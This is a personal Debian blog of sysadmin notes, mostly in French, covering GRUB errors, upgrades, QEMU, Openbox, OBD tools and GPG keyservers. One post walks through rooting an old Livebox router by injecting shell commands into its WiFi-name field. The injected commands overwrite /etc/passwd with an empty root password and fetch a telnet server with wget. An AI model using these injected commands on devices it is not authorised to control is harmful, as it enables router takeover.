lakpa.net

Lors de ma dernière tentative de netinstall de Debian Lenny sur un vieux PC de récup', j'ai eu quelques souci avec GRUB. Je pose ici les détails qui me serviront aussi d'aide mémoire.

Config

J'ai récupéré une vieille tour, une alim 300W (je crois), une carte mère ASUS TUV4X (à vérifier), un Céleron 1GHz et quelques. Là dessus j'ai ajoutéun disque dur IDE (classique) 250 Go, un lecteur DVD de récup et un graveur DVD tout neuf ! Le but étant simplement de monter un PC bureautique à une amie d'un certain âge, ayant une connaissance empirique mais non négligeable de l'informatique. Ma compagne a joué l'avocat de la FSF et j'ai eu le droit de monter un système libre, j'ai donc choisi Debian (fin de vie de Lenny car gel de Squeeze, oct. 2010).

Début de l'install

J'avais fait toute mon install avec une autre carte mère (de récup aussi). Ça marchais très bien mais elle n'acceptais que 512 Mo de RAM. Par conscience non-professsionnelle j'ai donc changé la carte mère (en gardant le proc, galère de retrouver la bonne config des jumpers !)

Au reboot, avec la nouvelle carte mère, j'ai :

GRUB loading stage1.5 Error 18

OK, je me dis, on réinstalle (je sais, réflexe idiot), chaque installation est matériel-dépendante. Je relance une netinstall, sans toucher au partitionnement, et ça va le faire ...

GRUB loading stage1.5 Error 18

Bon, j'ai compris, google grub error 18 me dit que le BIOS n'a pas accès au disque car il est trop gros ! Solution : une partition /boot lisible par le BIOS (en mode LARGE, c'est ~ 8 Go). Dans ma quête de la simplicité, je tente un truc de dingue :

• booter sur un live-CD,
• créer une partition de 100 Mo au début du disque,
• copier le contenu de /boot dans cette partition,
• redémarrer sur le CD de Debian netinstall,
• installer GRUB sur cette nouvelle partition (/dev/hda3),
• rebooter
• ça marche pas : ERROR 15, d'après le man grub
  15 : File not found : Cette erreur est retournée si le fichier n'est pas trouvé, mais le reste est correct (comme les informations du disque et de la partition).
• ...

Laisse tomber, on recommence... je vais le connaître par coeur le debian-installer !

Conclusion

Je peut tirer quelques enseignement de ces déboires avec GRUB, et j'encourage quiconque me lira à faire de même.

• Toujours créer une partition /boot (50 Mo suffisent, j'en ai mis 100 car j'ai de la place) sur /dev/hda1.
• Lire la doc avant de se lancer dans une manip douteuse (et surtout si elle est longue).
• L'installateur de Debian est vraiment formidable.
• Heureusement que lors de la première installation (avec la première carte mère), après un choix des paquets minutieux, j'avais pris le temps d'éxecuter cette superbe commande :
  dpkg --get-selections > paquets.perso
  Ce qui correspond à lister tout les paquets installés avec leur état dans le fichier paquets.perso. Et surtout, on récupère tout ET on réinstalle avec 2 commandes :
  # dpkg --set-selections < paquets.perso
# apt-get dselect-upgrade
  Update : sur une base-install, il faut # apt-get install dselect && dselect upgrade avant set-selections.

Il faut ajouter un fichier /etc/menu/nom_du_prog en prenant comme exemple ceux qui sont dans /usr/share/menu/. Puis lancer update-menus en root. Normalement, en ajoutant les fichiers dans ~/.menu puis update-menus en user, ça devrait fonctionner mais je n'ai rien vu apparaître dans le menu Openbox.

N.B. de dernière minute vu sur http://www.man-linux-magique.net/man1/update-menus.html

Bogues

update-menus peut connaître des dysfonctionnements quand il est invoqué par un simple utilisateur pour générer ses propres menus. C’est souvent parce que le gestionnaire de fenêtres n’attend pas les fichiers system.${wm}rc dans le répertoire (normalement ~/.${wm}, à configurer dans /etc/menu-methods). Si vous repérez quelque chose de ce genre et que vous trouvez une solution, envoyez-moi un courrier à menu@packages.debian.org. Cela doit parfaitement fonctionner pour fvwm et fvwm2 : je teste d’abord le paquet en tant que simple utilisateur.

Ceci explique peut-être cela ...

J'ai enfin trouvé 5 minutes pour tester Debian kFreeBSD (le système Debian + la gnulibc + noyau FreeBSD). Voici un mini retour d'expérience (en cours, l'expérience !).

Installation

Pour l'installation, il suffit de télécharger l'image kfreebsd et de lancer avec qemu :

qemu -L .\ -m 512 -no-kqemu -hda D:\...\DebiankFreeBSD -usb -boot d -cdrom D:\...\debian-6.0.1a-kfreebsd-i386-netinst.iso

(Sous Windows en plus !). Là, il n'y a qu'à suivre l'installateur Debian et pour le redémarrage on, lance :

qemu -L .\ -m 512 -no-kqemu -hda D:\...\DebiankFreeBSD -usb -boot c

Petite subtilité pour les non-anglophone, le clavier est en QWERTY par défaut. Alors on cherche le web et on trouve :

dpkg-reconfigure kbdcontrol

Et il n'y a plus qu'à choisir dans le menu ! C'est pour ÇA que j'aime Debian !

Une petite copie d'écran

(lien mort ...)

Post-install

Une fois que tout semble fonctionner, je modifie mon .bashrc pour y mettre quelques alias qui vont bien. Puis je lance

# apt-get install openbox xorg

Et là

ata1: error issuing ATA PACKET command
ata1: error issuing ATA PACKET command
ata1: error issuing ATA PACKET command
ata1: error issuing ATA PACKET command
ata1: error issuing ATA PACKET command

Ça semble venir d'un problème materiel ! Sur qemu ?! Je vais essayer une autre image. Du coup, il faut que je me re-tartine l'installation car il ne veut plus démarrer ...

Références :

• Manuel d'installation pour kfreeBSD i386
• La FAQ Debian GNU/kFreeBSD
• Testing stuff with QEMU - Part 3: Debian GNU/kFreeBSD par Uwe Hermann

Suite de mon installation de Debian GNU/kFreeBSD sur qemu, commencée ici.

Rappels

Après avoir installé une première fois sur une image de 1Go, j'ai repris une version plus récente (6.0.3) et installé sur 2 Go. Après une install standard, j'ai sauvegardé mon image disque avant de redémarrer. J'ai toujours l'erreur ata1: error issuing ATA PACKET command sur la première console mais je passe sur la deuxième.

Installation de X

# apt-get install xorg
# apt-get install openbox

Ça à l'air de bien se passer.

startx

Moins bien ... Openbox démarre, mais au premier clic droit pour ouvrir le menu, il plante. J'essaie la technique de Uwe Hermann :

Section "Device"
    Driver "vesa"

Mais c'est pire. Il semble manquer un module fbdev. Une recherche dans les paquets Debian me donne xserver-xorg-video-fbdev (le xserver-fbdev n'est pas pour kFreeBSD)

# apt-get install xserver-xorg-video-fbdev
startx

Toujours pas. Un rapide survol des forums FreeBSD me montre que je ne suis pas le seul. J'essaie différente config du xorg.conf, jusqu'à la solution standard :

# Xorg -configure

Je sais, normalement c'est un des premier truc qu'il faut essayer. Mais avec l'automagique du nouveau Xorg, je crois plus au xorg.conf De toute façon, ça ne marche toujours pas. À moins que ...

[...]
  Section "Device"
[...]
      Driver "vesa"
[...]

startx

YES !

Bon, au boulot maintenant !

J'ai souvent besoin de fouiller sur le web pour trouver des docs et tutos sur les configs des daemons genre openssh-server, ftpd, slim, et autres. Ce qui est bien, c'est qu'on trouve tout sur le web. Ce qui est moins bien, c'est qu'on trouve aussi n'importe quoi tout!

Par exemple :

Une fois votre fichier enregistré, tapez

# /etc/init.d/daemon restart

Aïe !

Eh, les gars, vous avez déjà lu un des scripts d'init, dans /etc/init.d/ ? Ou tapé /etc/init.d/daemon sans arguments ? Il y a un argument qui s'appelle reload, et il est vachement bien !

J'ai eu quelques petits soucis lors de l'upgrade de Squeeze vers Wheezy, alors je les note ici.

Scite

Mon éditeur de texte favori-que-j'aime est tout changé. Je n'ai pas eu le temps de creuser mais peut être que le responsable du paquet à changé ou a changé la config par défaut. Bref, obligé de tout re-régler. Mais ce coup ci je ne me ferais pas avoir de nouveau : je ne change rien au Global options file, je fais toutes les modifs dans le User options file.

$HOME/.SciTEUser.properties

# Window sizes and visibility
if PLAT_WIN
    position.left=0
    position.top=0
if PLAT_GTK
    position.left=22
    position.top=22
position.width=650
position.height=740

toolbar.visible=1
statusbar.visible=1
default.file.ext=.cxx
#~ if PLAT_GTK
    #~ all.files=All Files (*)|*|Hidden Files (.*)|.*|
    #~ top.filters=$(all.files)|All Source|$(source.files)
#title.full.path=1

load.on.activate=1
are.you.sure.on.reload=1
check.if.already.open=1
pathbar.visible=1
line.margin.visible=1
check.if.already.open=1


open.filter=\
$(all.files)

ET QUI C'EST QUI M'A VIRÉ L'ENCODAGE UTF-8 ???

code.page=65001

Openbox

Encore plus mystérieux, le menu Debian et les sous-menu que j'avais en direct ont disparu.

Trouvé sur www.debianuserforums.org :

Note: Depending on your release, you may need to make one minor change to have a working Debian menu. Original- Works with Squeeze, do not modify:

<menu id="Debian"/>

For Wheezy or Sid, modify as follows:

<menu id="/Debian"/>

De la même façon :

<menu id="Éditeurs"/>

devient

<menu id="/Debian/Applications/Éditeurs"/>

Wow ! Les menus ont des icônes ! Top la classe, j'avais pas vu !

Et encore ...

• VLC s'est désinstallé (?).
• Je ne trouve plus où indiquer à Grub de repérer mes disques par leurs labels (j'aime pas trop l'UUID, ça fait des lignes à rallonges dans mount et df, et j'ai perdu mon mémo Lenny->Squeeze !).
• La fenêtre gtk ouvrir un fichier m'envoie systématiquement dans récemment utilisés alors que je veut qu'elle s'ouvre dans mon $HOME.

D'ailleurs, si quelqu'un sait comment faire, un petit courriel pour que je mette à jour ma config et cette page, merci.

Enfin bon, je dis ça mais j'ai fais l'upgrade vite fait avant de partir en vacances, juste après le freeze et je me suis peut être pas assez documenté. Bref, j'ai pas vraiment de reproche à faire à quiconque.

Mais quand même, des fois ça fait chier !

Après plusieurs mois d'hésitation, et devant la fin de vie de ma voiture, j'ai enfin acheté une interface ELM327 pour diagnostic auto.

http://www.boutiqueobdfacile.fr/elm327-usb-obd2-plastique/

http://www.outilsobdfacile.fr

Cette référence est vendue avec une licence logicielle pour leur propre soft, mais le challenge est surtout de faire tourner tout ça dans une Debian Wheezy, car je n'ai plus vraiment d'ordi windows (accès ponctuel seulement).

Une bonne lecture avant de commencer :

http://codeseekah.com/2012/02/22/elm327-to-rs232-in-linux/

obdautodoctor

http://www.obdautodoctor.com/

Ce n'est pas libre, mais ça a le mérite d'avoir une version Windows, Mac OS et Linux. Les archives tar.gz contiennent un exécutable précompilé qui fonctione ... tout de suite sur mon PC fixe ! Le paquet deb fonctionne aussi.

On passe alors sur le portable. Et là il faut installer libbluetooth3 et libqtnetwork4-perl (ou libqtgui4 ?)

La version Windows fonctionne assez bien dans wine aussi, mais aucun intérêt.

EOBD-Facile

Version uniquement Windows, on installe d'abord Wine :

# apt-get install wine

Puis on installe le soft dans wine :

$ wine Install\ EOBD-Facile.exe

Puis on lie le port USB au port série de wine :

$ ln -sf /dev/ttyUSB0 ~/.wine/dosdevice/com0

Ne pas oublier d'ajouter l'utilisateur au groupe dialout :

# adduser $USER dialout

Et il semble qu'il faut redémarrer pour que ça prenne effet (peut être juste logout ?).

Update : Juste un logout complet suffirait, voir http://serverfault.com/questions/98900/is-a-reboot-required-to-refresh-permissions-after-adding-a-user-to-a-new-group

Hardware

Je pense que libftdi1 est nécessaire car le chipset RS232 vers USB est un FTDI.

Le plus gros problème que j'ai rencontré, c'est l'accès au port USB/série, car je n'avait pas rebooté après adduser. Et aussi parce que le connecteur USB a des mauvais contact. Une fois tout ça résolu, ça marche assez bien.

scantool

Dans les dépôts !

# apt-get install scantool
$ scantool

Wow, c'est moche, mais ça marche tout de suite. Il faut juste brancher l'interface avant de lancer le programme.

Et ensuite

Il faut que j'enregistre la version de EOBD-Facile, mais d'abord je vais leur demander si je peux installer sur plusieurs postes. Ou au moins si je peux changer de poste quand j'aurais un portable moins ancien (il a plus de 10 ans, quand même !).

Je vais essayer un peu tout :

• pyobd (je pense que la version 2.8 de WxPython du dépôt Wheezy ne fonctionne pas, ils indiquent une version 2.4) ;
• freediag (à compiler) ;
• obdgpslogger (# apt-get install obdgpslogger).

Since I upgraded to Wheezy, I wanted to have grub understand my label.

State of the art

I finally find my cheat sheet for the old Lenny-to-Squeez upgrade and notice that I modified /boot/grub/menu.lst like this :

- #kopt=root=/dev/hda1 ro
+ #kopt=root=LABEL=my_label ro

So I have to hack grub2 a little bit. But the only examples I found on the web was dirty (in my opinion) and hard-coded.

Did you find something ?

One not-so-dirty hack was useful to help me understand how grub2 generate the /boot/grub/grub.cfg I didn't want to edit myself (neither add a 40_custom entry). Of course, thanks to the arch doc and these good researchers too.

Do you propose something new ?

You can see the patch I try today in order to generate proper grub.cfg. I didn't find the time (for the moment) to try a hard reboot, but it seems to work. (You can see I created 2 other /etc/grub.d/-files because I don't have a test machine, and didn't take the time to setup a test VM) Just edit /etc/default/grub and use the existant variable like this :

GRUB_DISABLE_LINUX_UUID=label

And it works ! The legacy behaviour seems to be untouched, so I now have to try it in real. And maybe suggest it to grub maintainer.

So tired to read this :

One of the first thing I do when I setup a Debian machine is $ShinyCustom, so you need to enable it by default !

But it's true !
One of the first thing I do when I set up a Debian machine is to setup a user account with my name and a very personnal password.

WHY is this not the default inside debian-installer ???

N.B. preseed.txt is your friend ! Not for enabling backports by default for the moment, but I think it can be done for Stretch, as it is possible with contrib or non-free :

### Apt setup
# You can choose to install non-free and contrib software.
#d-i apt-setup/non-free boolean true
#d-i apt-setup/contrib boolean true

La mise à niveau vers Jessie (Debian 8) est celle qui me fait le plus peur depuis que j'ai installé Debian la première fois (Debian 4, Etch). C'est peut être à cause de tout le barouf autour de systemd, ou parce que depuis 2012 et la mise à niveau vers Wheezy, je n'ai jamais plus joué à tout casser (trop content d'avoir quelque chose qui juste fonctionne !).

Premier essai

Je commence simple en faisant la mise à niveau sur le vieux portable qui n'est pas un système critique.

Rien. Tout se passe bien. Sans heurts.
À peine quelques lignes rouges « Warning » au démarrage, mais vu l'état des pilotes sur cette antiquité Toshiba, je ne vois pas de problème.

Bien sûr, les paramètres de Xfce ont encore changé et il faut reconfigurer le bureau et le panel. Mais ça c'est à chaque mise à niveau !

Deuxième essai

Après de longues hésitations (ai-je le temps, est-ce le moment), j'attaque mon poste principal.

Lire les notes de publications !
Faire une ultime mise à jour :

# apt-get update && apt-get upgrade

Vérifier que les paquets supprimés n'ont pas laissé de fichier de configuration :

# dpkg -l | awk '/^rc/ {print $2}' # affiche les paquets
# apt-get purge $les_paquets_en_question

Sauvegarde de la liste des paquets installés :

$ dpkg --get-selections > paquets.txt

Vérifier que tout va bien :

# dpkg --audit

Sauvegarde de /etc :

# tar -zcf etc_wheezy.tar.gz /etc

Modifier /etc/apt/sources.list, et vérifier qu'il n'y a pas de sources tiers dans ce sources.list, ou dans /etc/apt/sources.list.d/ :

# sed s/wheezy/jessie/ /etc/apt/sources.list

Mettre à jour la liste des paquets, et envoyer la sauce :

# apt-get update
# apt-get dist-upgrade

So what ?

Tout s'est bien passé !
J'ai continué à écrire ce billet pendant les téléchargements et du coup j'ai raté les changelogs ! Comme je les avait vus avec l'autre poste, ça ne m'a pas plus inquiété.
Et dans le pire des cas, il faut trouver les paquets \*.dpkg-old dans /etc et effectuer un diff pour voir si des modifications locales n'ont pas été écrasées :

# find /etc/ -name "*.dpkg-old"
$ diff -u ${file}.dpkg-old ${file}

J'ai juste quelques remarques :

• la config de spamassassin à changé et l'option ENABLED=1 n'est plus valide avec systemd. Il faut : systemctl enable spamassassin puis service spamassassin start (en tant que superutilisateur bien sûr) ;
• les montages samba avec cifs ne reconnaissent plus les options noatime et nodiratime. Il faut les enlever de /etc/fstab ;
• un schmoll avec db5.1-util qui ne veut pas se mettre à niveau. J'ai installé le méta-paquet db-util pour être peinard.

Je voudrais essayer d'installer OpenWrt sur une ancienne livebox.

Pour commencer, il faut « downgrader » le firmware existant, ce qui permettra d'exploiter une faille dans le serveur web et ainsi supprimer le mot de passe du compte « root » et ensuite se connecter, par liaison série ou telnet, à la livebox.

Pour installer un firmware sur la livebox, il suffit d'utiliser le logiciel RGWRepair.exe fournit sur le CD...
Mais il ne fonctionne pas avec Wine !
Alors il faut passer par un serveur TFTP qui servira le firmware en question.

Les manips suivantes ont été effectuées sous Debian 8 Jessie (à adapter en fonction des distributions).

Mettre à jour la livebox 1 depuis un poste UNIX

Installer un serveur tftp

# apt-get install atftpd

(À essayer avec tftpd)

Changer la config pour le lancer à la main d'où on veut. Dans /etc/inetd.conf, commenter la ligne :

tftp        dgram   udp4    wait    nobody /usr/sbin/tcpd /usr/sbin/in.tftpd --tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /srv/tftp

et relancer inetd :

# service openbsd-inetd restart

Le serveur atftpd est arreté.

Placer le firmware dans un dossier (~/livebox) avec l'arborescence suivante :

cd ~/livebox
ls -l inventel/blue_5g/
factory_script_crypt -> firmware.dwb

Fixer l'adresse IP du PC à 10.7.58.114 dans /etc/network/interfaces :

auto eth1
iface eth1 inet static
address 10.7.58.114
netmask 255.255.255.0
broadcast 10.7.58.255
network 10.7.58.0

Relancer la config de l'interface :

# ifconfig eth1 10.7.58.114 netmask 255.255.255.0

Et démarrer le serveur tftp (depuis le dossier ~/livebox) :

# atftpd --daemon --port 69 --tftpd-timeout 300 --retry-timeout 5 --verbose=5 --logfile - $PWD

Débrancher la livebox et la rebrancher en maintenant le bouton 1 appuyé, jusqu'à ce que les 3 diodes « @ », « >> » et « tél » soit allumées. Laisser la livebox démarrer (attendre que la diode « warning»  ne clignote plus) et se connecter à l'interface web (192.168.1.1 en ayant reparamétré le PC pour être dans le bon sous-réseau). On peut voir si le changement a été pris en compte.

N.B. Chez moi, ce n'est pas le port jaune, mais le rouge qui fonctionne en maître. En revanche, il faut bien un câble ethernet croisé.

Utiliser la faille dans le firmware

Maintenant que l'on a un microcode < 5.04, on peut utiliser une faille dans le serveur qui permet d'envoyer des commandes à la livebox.
On se connecte à l'interface web du routeur avec l'adresse 192.168.1.1 et on change son adresse IP dans Configuration> Avancée > Réseau :

Activer DHCP    Faux
Adresse IP  10.0.0.1
Broadcast   10.0.0.255
Masque de sous-réseau   255.255.255.0
Adresse de départ pour DHCP 10.0.0.5
Adresse de fin pour DHCP    10.0.0.10

Appliquer la configuration et laisser le routeur redémarrer.
On va configurer la machine de développement avec une adresse IP fixe, dans le sous-réseau de la passerelle. Dans /etc/network/interfaces :

auto eth1
iface eth1 inet static
address 10.0.0.2
netmask 255.255.255.0
gateway 10.0.0.1

On se connecte à nouveau à l'interface web du routeur (10.0.0.1 maintenant). Dans Configuration > Avancée > Wifi, remplacer le nom de la livebox (LIVEBOX-xxxx) par les commandes à lui faire exécuter. Attention, il n'y a que 32 caractères disponibles !

Pour écrire une ligne sans mot de passe dans le fichier /etc/passwd, il faut d'abord créer un fichier temporaire (32 caractères max on a dit) :

;echo root::0:0:::/bin/sh>/tmp/x

En appliquant la modification, la livebox redémarre. Ensuite, on copie ce fichier à la place du fichier /etc/passwd :

;cp /tmp/x /etc/passwd

À partir de ce moment là, il n'y a plus de mot de passe pour le compte root. On peut donc se connecter par liaison série (on verra ça une autre fois), ou envoyer un serveur telnet pour se connecter avec telnet.
Le plus simple est d'utiliser une archive comme celle-ci. Elle contient le serveur utelnetd, compilé pour fonctionner sur ce genre de routeur, ainsi que les scripts init qui permettront au serveur de démarrer au démarrage de la livebox. Cela permet aussi de s'affranchir du réglages des droits d'exécution.

Pour ne pas avoir besoin d'installer un serveur ftp ou http, j'ai utilisé woof (apt-get install woof).

Sur la machine de développement :

cp etc.tar u
woof u

Sur l'interface du routeur, toujours dans le champ Nom :

;cd /etc;wget 192.168.1.2:8080/u

Si 192.168.1.2 est l'adresse de la machine de développement et 8080 le port utilisé par woof (par défaut).
Vous devriez voir woof s'arrêter une fois qu'il a servi son fichier.

Ensuite, on décompresse l'archive en entrant, dans le champ Nom, la commande suivante :

;cd /etc; tar xf u

Après ce Nième redémarrage de la passerelle, on peut se connecter avec telnet à la livebox :

telnet 10.0.0.1

Wow !

Une dernière petite chose maintenant, il faut empêcher la livebox de se mettre à jour sur les serveurs inventel. Pour cela, il faut éditer les deux fichiers /etc/firm.conf et /etc/autoconf.conf.

vi /etc/firm.conf

Remplacer

CONFIG_DEFAULT_UPDATE_MACHINE="developers.inventel.com"

par quelque chose comme

CONFIG_DEFAULT_UPDATE_MACHINE="10.0.0.200"

Pour ceux, comme moi, qui n'utilisent jamais vi (et il n'y a pas nano dans la livebox !) une fois que le fichier est ouvert dans vi, il faut se déplacer avec les flèches, appuyer sur i (--Insert-- s'affiche en bas), taper le texte que l'on veut, puis Esc et enfin :wq. : sert à entre un commande (s'affiche en bas de l'écran), wq pour enregistrer (write) et quitter (quit). :quit! ferme sans enregistrer.

Pour autoconf.conf, c'est un lien vers le système de fichiers en lecture seule

ls -l /etc/autoconf.conf
autoconf.conf -> /etc_ro_fs/autoconf.conf

Donc on triche en le copiant puis en écrasant le lien symbolique par le fichier à modifier :

cp autconf.conf autoconf.conf.bak
rm autoconf.conf
cp autoconf.conf.bak autoconf.conf
vi autoconf.conf

Trouver la même ligne CONFIG_DEFAULT_UPDATE_MACHINE et la modifier de la même façon.

Cela devrait empêcher les mises à jour automatiques lors de la connexion à la ligne téléphonique.

À suivre ...

Réferences :

• http://www.dbzoo.com/livebox/firmware
• http://andyp.dyndns.info/livebox/livebox.html
• http://www.porciello.com/inventel/

I just read that Ian Murdock has passed away. And I'm feeling very sad.
It's just like a big hole, even if I didn't know him.

Thank you Ian for giving us this wondeful operating system.

Laura has found these words perfectly explaining my feelings :
« It’s like if somebody puts a treasure in your hands
and you got distracted looking at it
and when you head up to look at the person and say ‘Thank you’,
he’s gone… »

There is still no candidates running for DPL this year.

Time's NOT up !

After a reminder of the 2017 timeline in the end of february, the usual call for nomination has been sent by the secretary 5 days ago.

I had a quick look in the -vote archive and saw that it's quite unusual to have a so long delay between the CFN and the first nomination.
Even the actual DPL did not explicit if he will be candidate to his own succession.

And nobody speaks of it on planet.

What happens?

I can imagine several reasons.

• The DPL's job has been seen as very time consuming and difficult.
  On the other hand, in his DebConf16 talk. Mehdi says that only 10 requests by week reach his mailbox, in a volume of ~200 real e-mails. And I didn't understand it as a high volume.
• The DPL bits' frequency goes down near zero since the middle of the 3rd term of Zack. Does anyone know whats is the DPL job if there is no news?
• …

In fact, my vision is not complete because I'm not really involve everywhere in Debian, in particular I can't read -private

What does it (could) mean?

I thought I heard some voices saying that DPL is useless. Maybe it is?

I think it is a (almost) useless role in the project now.
The only problem I think of now, is that the DPL is needed for the nominations (secretary, press, debconf, ctte, and so on).

One more time, I'm not enough implicated in the project, and there is some things/facts I'm not aware of.

Update: There is this thread on -project.
And there is 2 candidates now.

Prenons le temps de faire la mise à jour vers Stretch, plusieurs mois après la publication. D'un autre côté, c'était l'été, il y avait du boulot, du beau temps et des vacances !

Technique

Rien de neuf depuis la dernière fois.
Il paraît qu'il vaut mieux utiliser apt que apt-get, mais j'ai mes habitudes, et je n'ai pas envie de faire des expériences aujourd'hui.

Est-ce que tout va bien ?

Comme d'habitude, oui !
Et comme d'habitude, quelques détails qui ne sont pas parfait, ou gênants.

Traductions

Par exemple, le seul écran debconf que j'ai vu n'est PAS traduit.
Ce n'est pas grave, il indique juste que les services vont être arrêtés puis redémarrés le temps de la mise à jour. Mais quand même, on aurait pu essayer de ne pas être fuzzy là-dessus…

Configurations aux petits oignons

Ensuite, il faut régler les conflits de fichiers de config.
Ne pas hésiter à installer le nouveau, dpkg garde l'ancien en le renommant \*.dpkg-old ou \*.ucf-old. À la fin de la mise à niveau, on peut alors les trouver :

# find /etc/ -name "*.dpkg-old"

et comparer :

$ diff -u ${file}.dpkg-old ${file}

pour éventuellement réintégrer les modifs dans le nouveau.

Désagréable

Conky a été plus pénible.
J'ai d'abord trouvé qu'il était pâlot, et que la fenêtre se déplaçait lorsque je déplaçait une autre fenêtre. Et aussi qu'il semblait ne plus comprendre la fonction pre_exec.
Une rapide recherche m'a indiqué https://bugs.debian.org/791718 et https://github.com/brndnmtthws/conky/issues/62. Le langage du fichier de config est maintenant lua, et la fonction pre_exec a été supprimée.

En essayant de comprendre les exemples du rapport à l'amont, j'ai trouvé comment remplacer :

${color grey}$hr
Réseau : ${pre_exec dash /home/batbat/script/check-IP}
Sortie:$color ${upspeed eth1} 

par

${color grey}$hr
Réseau : ]] .. my_net_address .. 
[[
Sortie:$color ${upspeed eth1} 

où la variable my_net_address est définie au début, avant la variable conky.text par :

o = io.popen('dash /home/batbat/script/check-IP', 'r')
my_net_address = o:read('*a')

(.. sert donc à concaténer des chaînes de caractères, elles même définies entre double crochets !)
En revanche, il faut pour cela traduire tout l'ancien fichier .conkyrc en lua. Ça va que je n'étais pas trop éloigné du modèle /etc/conky/conky.conf.

Erreurs inconnues

J'ai aussi eu un certain nombre (38) de

dpkg: $PAQUET : problème de dépendance, mais suppression comme demandé :

ou

dpkg: $PAQUET : problème de dépendance, mais traitement des actions différées comme demandé :

Mais je ne m'en suis pas plus inquiété que ça puisque apt installe --fix-missing n'a rien voulu rajouter, ni avant ni après le redémarrage.

… et sinon, des bonnes nouvelles ?

Oui !

• claws-mail n'a pas vraiment changé.
• Il y a une nouvelle fonction « Comparer… » dans le menu contextuel de xfe.
• xfview (du paquet xfe) semble avoir été remplacé par xfwrite -r.
• gsettings set org.gtk.Settings.FileChooser sort-directories-first true permet d'afficher les dossiers en tête de liste dans les boîtes de dialogues, sans passer par dconf.
• Je n'ai pas eu le temps de tout regarder !

Depuis quelques jours que j'essaie, impossible de mettre à jour les clefs de mon trousseau. Que ce soit avec la version de Debian Stretch, ou même Stretch-backports :

$ gpg --refresh-keys 0xABCD1234
gpg: refreshing 1 key from hkp://hkps.pool.sks-keyservers.net
gpg: échec de rafraîchissement par le serveur de clefs : Server indicated a failure

D'après ce que j'ai trouvé, on peut essayer l'option standard-resolver dans ~/.gnupg/dirmngr.conf. Mais dans ce cas, l'erreur devient

$ gpgconf --kill all # arrête tout les démons, ils seront relancés au besoin
$ gpg --refresh-keys 0xABCD1234
gpg: refreshing 1 keys from hkp://hkps.pool.sks-keyservers.net
gpg: échec de rafraîchissement par le serveur de clefs : Try again later

Même avec d'autre serveurs comme keyring.debian.org ou pool.sks-keyservers.net :

$ gpg --refresh-keys 0xABCD1234 --keyserver keyring.debian.org
gpg: refreshing 1 keys from hkp://keyring.debian.org
gpg: échec de rafraîchissement par le serveur de clefs : Try again later

(D'ailleurs, l'option keyserver keyring.debian.org dans ~/.gnupg/dirmngr.conf ne semble pas fonctionner).

En revanche, indiquer recursive-resolver dans ~/.gnupg/dirmngr.conf est beaucoup plus efficace.

$ gpg --refresh-keys 0xABCD1234
gpg: refreshing 1 key from hkp://hkps.pool.sks-keyservers.net
gpg: clef 0xABCD1234ABCD1234 : « XXX » n'est pas modifiée
gpg:       Quantité totale traitée : 1
gpg:                 non modifiées : 1

D'après dirmngr(8) :

--recursive-resolver
When possible use a recursive resolver instead of a stub resolver. 

Est-ce que ça ne devrait pas être le comportement par défaut ?

There is no update on the slim package including the Buster theme, future Prototype.

Here is one you can download and decompress to your /usr/share/slim/theme/ folder (as root). Don't forget to update (still as root) your /etc/slim.conf: near the end, replace the line

current_theme       debian-softwaves

used for Stretch by

current_theme       debian-futurePrototype

debian-futurePrototype.tar.xz

I don't have much Debian time these days. But I can't forget the birthday!

So happy birthday Debian.
And thanks to all the people involved, who make the "Universal Operating System".

I choose to set an expiry date on my gpg keys. 6 month is good enough for me to not forget everything in-between.

gpg2 --edit-key B8EC0946
expire
[...]
key $SUBKEY
expire
[...]
save

But (almost) every time I try to send the updated key to the keyserver, I get an error. This time :

gpg: sending key 0xC684F06AB8EC0946 to hkp://keyserver.ubuntu.com
gpg: keyserver send failed: Buffer too short
gpg: keyserver send failed: Buffer too short

Searchng the web with this error message gives absolutely nothing. Nobody ever gets a « buffer too short » error ?

I was sure that was a local error. But blindly trying random options, I run

gpg2 --keyserver hkps://keyserver.ubuntu.com:443 --send-keys B8EC0946

And this work !?

gpg: envoi de la clef 0xC684F06AB8EC0946 à hkps://keyserver.ubuntu.com:443

So in conclusion, set keyserver hkps://keyserver.ubuntu.com:443 (hkp over TLS) in ~ /.gnupg/gpg.conf and voilà !

Hello to Gnupg maintainer and/or keyserver.ubuntu.com maintainer :
PLEASE say & publish something when you change the behaviour ! Its hard to guess !

Thanks